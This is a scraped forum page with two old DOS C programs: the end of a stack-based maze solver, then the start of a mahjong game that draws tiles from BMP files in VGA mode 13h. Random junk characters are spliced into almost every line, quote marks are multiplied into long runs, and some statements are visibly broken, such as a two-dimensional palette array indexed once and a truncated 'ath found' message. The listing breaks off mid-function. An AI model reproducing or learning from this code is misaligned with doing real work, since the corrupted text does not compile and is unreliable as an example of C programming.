void MarkPrint(PosType seat)
6 p9 q$ _9 j. s4 i2 E2 K/* Mark the position seat. */1 j/ C+ J( M% d
{* w* H8 r5 G9 H
maze[seat.x][seat.y].mark=-1;/ M- G9 [. M. m3 F: ~/ ]
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
: w! T1 H6 [6 P1 J$ S1 G9 t} /* MarkPrint */
! B2 O- }; }: C* P+ x& zvoid FootPrint(PosType curpos)
# H1 ^$ a3 p( }0 s( R" R/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */1 w0 y* \# v9 H. n3 H5 Q( j
{
- I7 ~( X6 Y. ], C- omaze[curpos.x][curpos.y].foot=1;% l4 t% n- q* V. [4 y  L
} /* FootPrint */$ b- ?; Q- a" T" h
PosType NextPos(PosType seat,int di)0 I2 m# W& E* W& P: `- M
{
# r- a. r+ A+ ]1 S/ Z) ]1 Jswitch(di)9 l3 {" t& N3 q7 Q0 |& k' y/ x. v
{
: w# s, i% P4 ?case 1: seat.y++; return seat; /* Eastward */
4 y; V4 Z5 n# l7 j$ ]: A% m' a+ qcase 2: seat.x++; return seat; /* Southward */1 w2 g/ p4 \+ x7 ?' [2 A
case 3: seat.y--; return seat; /* Westward */
- ^" M+ o4 @9 E9 s5 e' g  jcase 4: seat.x--; return seat; /* Northward */
) ]0 m8 z- T8 b% `default: seat.x=0; seat.y=0; return seat;, J' I. w! U' h( y
}
0 ~1 Z0 e$ Q/ ?  I* H} /* NextPos */; h# L; m. Z0 |

, @4 H  \0 z5 e5 ?9 V+ O/* The key to the program. */# ?0 C- Z1 G7 {8 h) K2 Q3 r4 b
/* Pre: The maze array &amp; the startplace &amp; the endplace.; E5 t4 E; ~: \$ d' B5 S% P
Post: Find the one traverse of the maze and perform the mazepath.
/ s$ U) i, `0 nUses: The ADT stack class.( I+ [2 ]0 _& B7 F
*/2 h6 h$ \0 ]4 a% W9 I/ u
Status MazePath(PosType start,PosType end)4 {4 ~8 m) R7 L+ L3 c% Q6 D
{3 t. Z/ @* a" h
PosType curpos;5 ]' @- Q, |( K
int curstep;
6 A7 X6 }% |9 j9 r4 rSElemType e;8 F3 [0 E  J% I5 \3 Q1 k8 B9 s
Stack *s,stack;% b6 y2 u: e  X0 p* ?1 F  I
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));) y  d5 `4 L2 m) a# s" z
if(!stack.base) Error("Overflow");" z% ^  X# Z$ I+ [! l/ W$ d
stack.top=stack.base;
: W  u- M- v& T  `, I) _* r- W% cstack.stacksize=STACK_INIT_SIZE;
% _* J$ N: m2 ?/ Ls=&amp;stack;
8 ^& X# f% O9 D' ^8 n8 {1 r- Vcurpos=start;" t5 y/ G2 J+ r0 W' e+ ?
curstep=1;/ G; f6 @; y3 S% e& S
do  D8 \* f/ v% x5 z3 y( H
{
: t- I; \; ?+ `+ X& w4 t( fif(Pass(curpos))7 [/ D7 n8 n# ?+ @: O
{
! R% \4 a: J" |- oFootPrint(curpos);/ y" ]0 r9 d; w
e.ord=curstep; e.seat=curpos; e.di=1;
! ~: I/ _: p( k: e7 J$ ngotoxy((curpos.y+1)*2,curpos.x+2);& f7 q9 [. R7 j" q. X
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
& L0 \* d: A5 d3 m' p  ~delay(8000); /* pospone time. */
+ G* E7 D  q) s- [, k. ~% C" k0 S+ B/ WPush(s,e);3 E7 m1 @* C) T; @/ P; I, s
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */+ R, ^4 X9 f+ s
{
, L& ?5 U1 z8 m( a2 Y2 aDestroyStack(s);5 S# k3 k2 J; y" r8 Z
return TRUE;: o6 T# u! U  b- I
}
2 [- b8 G  u4 R# |curpos=NextPos(curpos,1); /* Try next position. */* f2 E+ T/ e& t1 s/ D: p
curstep++;
$ {! V8 F% `, a  ?! s! F}8 f$ A2 G3 n$ l. I& r3 b8 x1 K
else' n7 ?' m5 ?5 N  D
{: R. W1 b0 |0 e" ~( M
if(!StackEmpty(s))
# i" j" q: j5 Z/ G. M$ Y" E{
4 j% Q; `8 ^6 P5 b( ]$ ^+ Je=Pop(s,e); /* Removed e from s. */
& w; b: ?9 Y1 h8 s7 K# j; ?$ {9 S! pwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
9 _+ v( z- C+ {5 M9 j3 }- e. x' Kand s is not empty. */
% I* Q; D' a+ {: S{0 C. c: h) f3 G/ K9 A
MarkPrint(e.seat);
9 Z' y; e5 H$ [, N) R8 n0 G) egotoxy((e.seat.y+1)*2,e.seat.x+2);
0 m: q, I9 O& s! fputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');# z7 f+ Q" o/ {+ q/ }3 Z  k
delay(8000); /* Pospone time. */
6 q2 @, {$ f1 R2 E- Y9 ]gotoxy((e.seat.y+1)*2,e.seat.x+2);
8 W( C, [+ x; I# gputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');* d# j+ p: u, p  z1 W: o
e=Pop(s,e); /* Remove e from s. */# P  S) q2 A. K  z, B
curstep--;
% g$ y3 \4 z- [}) F) i' m8 B& `) F* h
if(e.di&lt;4) /* The current position hasnot been checked. */
  q3 n8 H# a  X{* {$ W8 i2 T9 S2 ^
e.di++;4 s+ X1 ~) q* E' W" a- R8 t) ^
Push(s,e); /* Insert e into s. */
/ J* z" C: [9 s' d) z, E/ Fcurpos=NextPos(e.seat,e.di); /* Try next position. */0 b1 h9 H* ?+ A  H" M
}
# h  B- h/ I$ @2 I}' {1 b; x! G! |: f4 L4 F! }
}) o6 v5 p9 t0 ?; J/ A! ]
}
" z. S6 K- Y2 T# ~7 }while(!StackEmpty(s));
% h  N# C8 r3 y3 fDestroyStack(s);# d1 U/ [/ v, k. C# I$ P
return FALSE;% h2 `, J7 t) ]4 F" y" G2 M0 w
} /* MazePath */
; j3 m# Z% L  [( M5 \7 Yvoid main(): O$ Z% O6 M: u# M9 _' s1 M
{; _7 j/ q, ?  Q8 h: U
PosType start,end;
" B" {; }& @3 E+ j! P8 C4 zCreatMaze();3 N) d/ u$ J5 p5 o* V9 _: h/ h7 N
start.x=StartPlace.y;& W# {- u; U& S) P+ w9 o
start.y=StartPlace.x;
( z: S8 U& b& v  xend.x=EndPlace.y;- N+ n3 a% g: U4 k! K  `. x
end.y=EndPlace.x;! S$ \- b- r9 j3 X7 h
if(MazePath(start,end))" a! {0 ]8 R0 F1 b7 U/ `0 y* c1 c
{8 z) P* d; ]  I
gotoxy(2,22);
# _- n; J0 Z& nprintf("ath found\n");: ^# J0 A2 i: \  E8 x5 {6 n
}% ?# K7 H+ I# Z# N# ^- l
else
+ V, N' W: Y6 z) Z. T, o; {1 x{) n! D- H7 S, z5 @1 c
gotoxy(2,22);
4 T$ B: R& p" ~+ t2 w+ zprintf("ath not found\n");
% J- N" Q% Q1 R}) E9 D% t1 O# ]
getch();
" c  b7 _/ T+ y5 Vclrscr();
' U  O/ c' {4 G1 D2 T} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
: n. e5 l0 D2 x8 I. E9 l/*天宇软件2 u' y9 h2 ]5 Z3 e
作者:上海黑暗之龙
4 j! {1 a: x  t, r2002/10/301 r; R$ @& i: u% o
麻将原代码*/
7 p& I+ q- Z! J3 ?% M#include "dos.h"
$ Z+ C2 c# ~" u5 H#include "stdio.h"/ S2 p+ \2 F5 H# j: ^5 i, C
#include "graphics.h"% [1 s' @( K7 k9 Q4 S) F& F
#include "bios.h". U, x9 ?8 ~/ w. I5 D
#include "conio.h"
9 L! d6 r3 X, @3 ^% T#include "stdlib.h"1 H4 m6 Q, ?2 \' `- k
unsigned char far *video_buffer=(char far *)0xA0000000L;
9 D5 F% L$ r6 v3 E1 S  \#define VGA256 0x13 /*图形模式13h*/7 A* H2 F! K: n
#define TEXT_MODE 0x03 /*普通文本模式*/' i3 R3 k2 s- b
#define SETVGA Set_Video_Mode(VGA256)
/ P3 X8 `+ o- _5 E2 y0 U#define OUTVGA Set_Video_Mode(TEXT_MODE)
" R5 x- N/ W$ s  M2 R#define BYTE unsigned char
) C: E7 G5 V) L0 E1 v9 O% c: Y#define WORD unsigned int4 S. }+ U: I: W/ U1 r
#define DWORD unsigned int
4 ~( o* h+ P/ v9 y  N7 n#define ESC 2837 C4 s! k$ Z& _
#define LEFT 19200
/ V8 X# @$ s$ ^9 P+ u3 A#define RIGHT 19712
) Y+ Y* o$ X6 W9 O0 @7 V#define H 90647 w0 v' @2 u7 s+ \2 ?
#define ENTER 7181
$ c8 O! {5 a8 p# X3 I2 _unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
5 J$ f8 Y. W" m2 Fint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;5 r- N4 ^+ v! G0 o, c1 `
struct chi
+ Y! J& B9 ^$ N+ C. y" H{
: t& ]  M' j9 u/ J- m& L) k  dint lg;2 ?1 m. J* j8 R3 Z* W
int lgg;7 x7 s5 E6 J  e' G% A- f" e6 A# l
}ch[13];2 e8 X& k; C4 y! G' s! u9 {8 J
struct mj
* v5 _! ?; z: S1 A0 ~+ c{ char *name; /*名字*/2 b3 e% K4 Z1 W$ V) @1 y5 P
int data1; /*是否已出,无用了*/
2 e" B, [* @) P# {0 J9 I9 Tint data2; /*是否在手中,1为自己,2为对方*/" v! r0 L' q0 i2 X- l
int number; /*同一个花色的第几张,共4张*/
! T' Q; k4 A7 p  J}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
  A; Q& m5 ~1 s9 {3 K1 |: U"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
0 g5 u& c; r  Z2 ^3 C. w& f"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
0 L0 R' z% `! o/ }' G7 G0 M"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
0 J/ |! R# ]2 T- N: [9 W& ]"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,4 W8 S; ~$ L# I$ X1 h. h" X
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
! b. P6 Z9 m! R" c, e$ @2 G"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,9 n5 t* Z3 k9 _1 n' c5 u
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
2 s8 _9 _6 I% g# G; D7 \. K2 z"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
, p& @1 a! L: G) D2 S. E"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,! t0 ?5 Y; V2 b9 N, J; P
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,! _, Z6 I1 p% Z& _, g
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
7 c& |  |3 q# M$ b"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
  G/ h0 N3 x- C! W9 ]" ]"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,( M  E! @, z4 o, Z: V% n# I
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,* q- }+ r0 w' ?9 }# M# {+ `( t
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,4 U3 k6 d9 {' c* I
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
& ]0 m$ J$ ^+ P8 e: r2 u, a% I+ z2 ["22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,# E% ]+ _% H7 M* Z7 C
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,8 T/ r9 M9 p5 i/ b# X
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,: L% n- h+ }  T; b2 ?
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
6 O5 m! e; Y2 m. r8 M"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,  [- e2 D. Z( }9 M
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,+ g9 B9 r7 |; k
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,3 `7 g4 i  p" {* i
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,- i, ?+ ^* e7 C' U
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,+ [9 [, y% Q  Z& u/ [& q7 \! R
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,( v- f& Q6 Y" N' K) h4 X
"34.bmp"};
0 n/ X4 Y8 X+ h7 n, Jstruct every3 z" Z1 l  N# F/ Q5 u+ S! t" r: O
{ int *k; /*名字*/& y# F2 u5 a  E. a- \
int oneorfour; /*同一张牌的第几张*/
9 w2 A2 D) j( u1 C  h* y; aint number; /*第几张牌136*/
$ C) p; f5 |: z$ u" [+ K0 mint p;( v: B- P, C6 X% L
int g;, E& {" X, f' D# H% d6 ]/ d# V/ N
int c;9 v) d! n/ `. E' Y, i7 e
int d[2];
' F& C3 X$ |3 o) g/ y( L$ e( \9 i: k};
0 z& b; Q/ ~$ S% `  estruct me  b4 w$ ?" S, A# H# v! b. U
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/) D9 T8 \6 \1 G7 r; c  z  u. p
int p; /*乓对方*/8 x5 w# ]7 J9 J2 Q- e
int c; /*吃对方*/
  w  H. O) ~, _int g; /*杠*/& M! i" g& @3 ?1 n6 j1 @" B4 x

, r( d% d6 |' r3 W! `/ k! Nstruct every pp[14]; /*存放手上的牌*/
! n0 w4 u' q; @" E. V; O2 y$ M}me;
( x8 E/ v0 j8 i# u- Kstruct computer& r) w4 H" l& ]& j
{ int m;0 J6 E) ~5 M8 ^* }8 g7 E
int p;
- e6 @$ R. Z& {9 @0 b2 H, Bint c;; ]& T$ n! l4 j# R8 Y  u" i) w
int g;
) S$ @4 J' g1 @struct every pp[14];
  f& z* m! z- S}computer,comp;
, J+ P4 L2 C/ [* y) {
- U: @. P* P9 t* E/* 设置调色板 */" B1 o$ U% }6 T9 v+ P6 u
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
9 {6 T. Q% l& \1 j{$ G/ ~. z7 b6 I
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/: }9 R0 v, b2 z! U. `
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
5 r, ?2 ^- w: a. Q. V8 routportb(0x3c9,g);) P. {( X1 Q7 [. F; N# l
outportb(0x3c9,b);
' s+ }- C+ f+ m" |  @}
7 P$ D: Q' r' q8 W. b* ~' }/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/; m& ]" V% M2 @8 s) U9 u; b& x
/* 设置显示模式的函数 */- l! W6 z0 N! @: W
void Set_Video_Mode(int mode)
% E5 r: A5 u  E- _{
+ o8 Z! e) m! Q7 L. N% `+ ]union REGS inregs,outregs; /*定义输入和返回寄存器*/
3 K: C6 B1 B5 s0 Xinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/0 g1 |1 v! W/ |: ^" K2 P" ^
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/5 C6 w; O+ j/ E& {# p1 x: O8 }
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/; I/ O/ |1 J$ n( T- Z
}
/ {; Z- x7 g( @$ N+ J% yvoid v_line(int y0,int y1,int x,unsigned int color)0 [/ a) h! G( b  r) y; Q
{ unsigned int address,n,temp;
: V6 Q8 V' X' N) ]" k  ?  V' B. @: Pif(y0&gt;y1); S; c8 {9 P- e1 m
{  {4 i$ O; d9 H- {: @" T
temp=y1;
; y2 X- a; }2 d" f: zy1=y0;( w8 ?0 o. l4 M- ~0 ?3 r
y0=temp;
* R% L( a. a: N" c0 r* l: q3 D}2 u: r  ~4 S+ u: `9 k
address=320*y0+x;6 E$ M" ^6 q' x
for(n=0;n&lt;=y1-y0;n++)
, T0 Y% t/ g0 }9 K4 [{& o( j9 w3 O; e8 A+ [# B
video_buffer[address]=color;
- |: {+ U8 c0 p) v9 [address+=320;  \; y; }( l8 i* o' L
}" o3 h7 r' G/ a& \3 D# V. @, H
}7 C3 I6 y& k9 A! Q
void h_line(int x0,int x1,int y,unsigned int color)
, U* k( q1 v+ s4 q7 n3 H{ unsigned int address,n,temp;
) X! f: P9 s8 Y+ Q* s# p6 A% j- u2 y9 ~if(x0&gt;x1)
6 L- j; z+ ~+ z7 u  p4 J0 @& {/ X9 V{
& ], `" e! y+ Y( ttemp=x1;  c( [# V2 j2 q  g
x1=x0;
! r( k# C# {: ?9 T0 e+ e. b, a3 ox0=temp;
7 |% @% N) \3 X}- h/ C- u9 s; d& e  C# H
address=320*y+x0;
/ Q1 j, k; ~  l" X1 c8 Efor(n=0;n&lt;=x1-x0;n++)
9 t6 b) r8 S  ~/ j{5 O1 m4 H$ B, e% e& c9 t. V
video_buffer[address]=color;
1 D! J# Z6 q# A) p2 Zaddress+=1;0 Q! W6 B: b5 c& s- r* d4 \* g# ?
}
  n0 I- S' n: x' _6 S  Y8 A}1 {) z5 v& x2 \5 C3 J* j( u
void p_pixel(int x,int y,unsigned int color), a( J, j  W' D& n! L* ^
{ video_buffer[y*320+x]=color;
- {8 s4 d9 i( J3 ]( S& L}% c4 g) v8 S4 c' G+ e
void s_square(int x,int y,int side,int color)
, [$ i# Y0 `# f1 L/ }{
, o+ T& @' @$ Q* c6 M2 e& ph_line(x,x+side,y,color);1 }1 z: S/ U0 m
h_line(x,x+side,y+side,color);
4 a1 n3 Y9 T$ P( `& k+ p9 Y. tv_line(y,y+side,x,color);; j1 t+ v0 `# v- D0 U( `' E4 V
v_line(y,y+side,x+side,color);/ n6 }; n- J0 \, p
}
, u; f8 v6 x( Q" M' V. hvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
; a6 X0 t) Z; v+ M; K# F7 _- C{, o: D8 S3 G- X7 I
h_line(x1,x2,y1,color);
' @8 b- c2 n3 P+ F5 ah_line(x1,x2,y2,color);) J" z+ h( ]: p3 o" B, y" j/ v% D, i
v_line(y1,y2,x1,color);0 G/ E% [, g3 K, P0 ]. U
v_line(y1,y2,x2,color);
/ i' h4 G, i& f( y3 ?* W5 U: R9 M2 z8 A}
# q: [" Q0 S, y! ?) \; ]void fillRectangle(int x1,int y1,int x2,int y2,int color)
2 O0 Q4 s0 E( z" Q! U{
2 Y( f  `; A6 W: I4 p/ ?  s8 z0 sint i;
9 k( n, E) t/ C) V( u& vfor(i=y1;i&lt;=y2;i++)
- e$ T1 k2 z# b+ O& |( v{' S8 f! j% @  K
h_line(x1,x2,i,color);
4 w! Q& G2 o2 x9 V7 G; `. r$ _3 V0 i}
# f2 a$ H1 K2 y! p; b6 @2 p}
( l3 w7 p0 ~: k1 b' z" Vvoid showbmp(int l)
  R$ S3 X9 @, k: b; q{ FILE *bmp;1 ?: u* l2 S4 [% |+ J! d; D
int i,x,y;+ H9 b0 |7 x# I) L: C" S4 p( m
BYTE palette[256][3];
& [: h; D& }1 vbmp=fopen(me.pp[l].k,"rb");
9 b! D1 {9 M- t" F9 s9 Ffseek(bmp,54,SEEK_SET);" }$ v. p. f* h9 i4 n8 b# S' s
for(i=0;i&lt;256;i++)! _6 M7 Z$ \- a$ p: t* t
{0 n. L4 n& c$ W9 p( I* C4 s
palette[2]=fgetc(bmp)&gt;&gt;2;  l2 J$ y. @' ?
palette[1]=fgetc(bmp)&gt;&gt;2;
2 ?9 K9 M2 N, L+ p6 u& R1 Kpalette[0]=fgetc(bmp)&gt;&gt;2;
3 s# k  H# t8 _) W) z( k% o  Nfgetc(bmp);
+ x, M) j) V$ }# o" Y* h! VSet_Palette(i,palette[0],palette[1],palette[2]);5 V0 {  X9 q" }3 @( Z
}/ e* W8 Y: F. m0 x8 z. o4 v- D
for (y=0;y&lt;30;y++)1 P; D6 E2 Z+ r; b# Q: a  L) C
for(x=0;x&lt;20;x++)
1 P# a- W& ^. F& U! [pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
6 O7 G$ u% V7 x8 \- ffclose(bmp);* V* x/ l  o0 s
}
) z9 K# ?  h+ Dvoid showbmpd(int l)
' G3 z9 C* t( e{ FILE *bmp;
7 a) R0 @0 g$ x4 N& o7 z4 y8 D4 e; q$ Xint i,x,y;" }* ~6 ?2 D# x5 X* T2 A
BYTE palette[256][3];0 d( G8 `1 c7 t; ]0 y" d8 g
bmp=fopen(me.pp[l].k,"rb");
$ R3 l) q" X/ ?5 _* G( d/ u8 _$ k3 |fseek(bmp,54,SEEK_SET);
5 g# @1 b3 o* k% K$ [for(i=0;i&lt;256;i++)
4 @% z6 T/ k: C0 J5 j. b{
3 M3 L% e, w2 R2 ppalette[2]=fgetc(bmp)&gt;&gt;2;
' x! H7 N1 l! V- m) opalette[1]=fgetc(bmp)&gt;&gt;2;
/ }* M7 `7 _9 Q5 e  C! Z% epalette[0]=fgetc(bmp)&gt;&gt;2;6 L$ v; r  ~# t. ]: T5 L
fgetc(bmp);# g; g% ?, }# j- u6 }6 j9 ^
Set_Palette(i,palette[0],palette[1],palette[2]);
) X! X9 M0 O2 d}
9 f# [" d6 I  nfor (y=0;y&lt;30;y++)
" @' O$ ^7 |6 Q5 O* f* E8 Gfor(x=0;x&lt;20;x++)2 [" I8 Q3 M# E% e' O3 U6 m
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));) U* p3 P! x4 v2 {. s1 w
fclose(bmp);9 w! a5 B9 c/ G# m
}
8 J% \1 }" n$ e! M6 O0 uvoid showybmp(int ll)' B) h1 I' H5 T1 _
{ FILE *bmp;
$ ?# m$ o: r/ Z8 @int i,x,y;
1 b, o; L# _: V4 B' QBYTE palette[256][3];
7 ^8 `$ x, Y; K" F- J; X( xbmp=fopen(computer.pp[ll].k,"rb");( f3 n- G0 |% E6 E- G/ a+ a
fseek(bmp,54,SEEK_SET);
# r8 u" ?$ K' T0 z6 M  T+ @/ Ufor(i=0;i&lt;256;i++)
- L* K6 W  @" h; Y5 o* V- h& k5 b{7 M% q' j: N9 X" T. L$ w9 w
palette[2]=fgetc(bmp)&gt;&gt;2;
2 B2 Y( m/ G( Dpalette[1]=fgetc(bmp)&gt;&gt;2;
" V) U* j, J4 s* x$ Y) jpalette[0]=fgetc(bmp)&gt;&gt;2;
2 s# X$ n+ O. k) r- ~) ^4 A! }fgetc(bmp);& ?9 k6 a8 l; O+ x8 T
Set_Palette(i,palette[0],palette[1],palette[2]);; w( h2 _2 z/ H3 F9 g4 y
}
4 N! Y% M6 W) _3 @3 g6 |% }8 V5 Y$ ?for (y=0;y&lt;30;y++)
& {% G5 M: k7 }3 m# a% a% p( Afor(x=0;x&lt;20;x++)
* J' `. j0 l  s; \: u+ a. U5 O( jpokeb(0xa000,y*320+x+zy,fgetc(bmp));2 a# U% I4 j3 A" x: x3 j
fclose(bmp);8 G0 u# C5 _! ]$ A7 J
}: J8 G9 h/ Y! U, Q2 U! l; A, _/ K
void showcbmp(int ll)" f- F" P0 o3 ~7 ~$ [
{ FILE *bmp;; _$ o; q+ D- Z( i$ @4 z. l
int i,x,y;
' U5 I5 S2 ]) K) n7 F* m+ @BYTE palette[256][3];- q& q- k7 I! r: D
bmp=fopen(computer.pp[ll].k,"rb");2 @% ^0 h: \7 v( L
fseek(bmp,54,SEEK_SET);
! H" s. h$ G& s7 Lfor(i=0;i&lt;256;i++)
1 l1 c: O7 t9 l& h{
: z# V3 |1 V9 I) Lpalette[2]=fgetc(bmp)&gt;&gt;2;. |2 Y( e& s+ U& h8 y& M2 O& H
palette[1]=fgetc(bmp)&gt;&gt;2;
: _7 ^4 z, ]( D/ k# y! O. cpalette[0]=fgetc(bmp)&gt;&gt;2;; v- K: a9 M# n9 X$ J% Q: Z5 `
fgetc(bmp);# M( l) x* `6 U( `: T
Set_Palette(i,palette[0],palette[1],palette[2]);
6 m' o; V5 V% l8 q0 i" U* u+ ^}
, ?! \2 K2 q5 C9 Dfor (y=0;y&lt;30;y++)
6 n4 E# U6 V( Xfor(x=0;x&lt;20;x++)
1 I5 Y* T# \4 _) Y2 z1 ppokeb(0xa000,y*320+x+zyy,fgetc(bmp));6 i& R# u. m4 X
fclose(bmp);
" W% Q6 R" y+ N1 y# _/ |}
9 N& n8 J" u8 H4 z% X  c: o- svoid bmpp(int number)' c: d* b( S) l. x+ f5 Q) a
{ FILE *bmp;& X2 a6 H) C: l- B) ?8 ~4 p
int i,x,y;& p% o& p) `6 x0 N$ i
BYTE palette[256][3];
. x; k3 ]4 r5 O6 |2 V# @bmp=fopen(m[number].name,"rb");
' s1 A" D  ~& K" Q: U) t+ @fseek(bmp,54,SEEK_SET);
( q+ a. g, q) {/ N" C; Y/ l. \; Tfor(i=0;i&lt;256;i++)
1 j# D; x4 \) {% d+ U$ U{
+ r, X2 a6 E9 i6 {palette[2]=fgetc(bmp)&gt;&gt;2;' s5 D! g; N. }6 c: y
palette[1]=fgetc(bmp)&gt;&gt;2;' G3 u( [# S) `  d! ?
palette[0]=fgetc(bmp)&gt;&gt;2;7 Y& ^% E2 b1 F) e6 H
fgetc(bmp);: T9 j$ \+ n% O9 q. P7 x
Set_Palette(i,palette[0],palette[1],palette[2]);
0 G, m/ r9 E, {( ^; @( z}
6 \' O/ a# u; q( K" _6 Nfor (y=0;y&lt;30;y++)
, n2 K. k* Z  l- B# v1 Sfor(x=0;x&lt;20;x++)8 l6 C7 ~& Z1 _( @  m0 Y
pokeb(0xa000,y*320+x+zl,fgetc(bmp));5 O) a6 t* d$ G; J
fclose(bmp);' _# |7 A& x  J; m) c
}
' {8 C; B7 `% d) R5 G9 Avoid comlipai() /*整理电脑的牌*/
/ {  n* G4 r0 U' Q9 D1 x{ int n,j,u;
* d' k& ~% A7 i( W& Y* Qint *lingshi;' p! `! I8 Y' |, T3 W' N: ], Z* g1 g
for(n=0;n&lt;computer.m;n++)
* r# O8 h6 ^7 lfor(j=n;j&lt;computer.m;j++)
5 S& G3 C; S- Z6 f) _/ n{0 s; G* S" p( _; i4 G3 P
if(computer.pp[n].number&gt;computer.pp[j+1].number)& ?$ D  P) K# l4 G1 V, x) I# \7 s
{
2 _1 D5 z, Z- p  P4 zlingshi=computer.pp[n].k;' W- W9 {6 b) X7 S+ G5 u
computer.pp[n].k=computer.pp[j+1].k;
. n5 a" o( ?0 e! \$ z" xcomputer.pp[j+1].k=lingshi;
+ B2 |0 O0 j, m* yu=computer.pp[n].oneorfour;7 P6 o7 C5 g/ T, |# z; t7 z2 N
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;9 |# g! g2 r- P* r! g& `$ C  J$ M; k
computer.pp[j+1].oneorfour=u;5 c. ?" X8 ?2 i; x0 \& n4 K- H
u=computer.pp[n].number;
" b* W9 i/ T( ?$ E" w8 O+ tcomputer.pp[n].number=computer.pp[j+1].number;: a4 v, @2 \( _: U% j* @- P
computer.pp[j+1].number=u;! G+ @! f; ^" E) I
}
+ S9 K( g4 t1 n$ E- b8 K3 T6 \" kelse, a# F! i8 V8 v6 m, ]2 i& V# `
if(computer.pp[n].number==computer.pp[j+1].number)
, t! Q8 d' C" |/ o! }! |if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)( ^0 m1 U/ p, _4 L, D2 I# o7 f
{6 ~2 t' s; b$ X: V
lingshi=computer.pp[n].k;) ?$ e2 F  l( V, A: R8 o
computer.pp[n].k=computer.pp[j+1].k;/ j! @4 o' e, y
computer.pp[j+1].k=lingshi;$ t: |4 O: x+ l3 q8 E* a, H$ P+ T
u=computer.pp[n].oneorfour;) S. @" j4 d5 n1 L" A9 p9 X
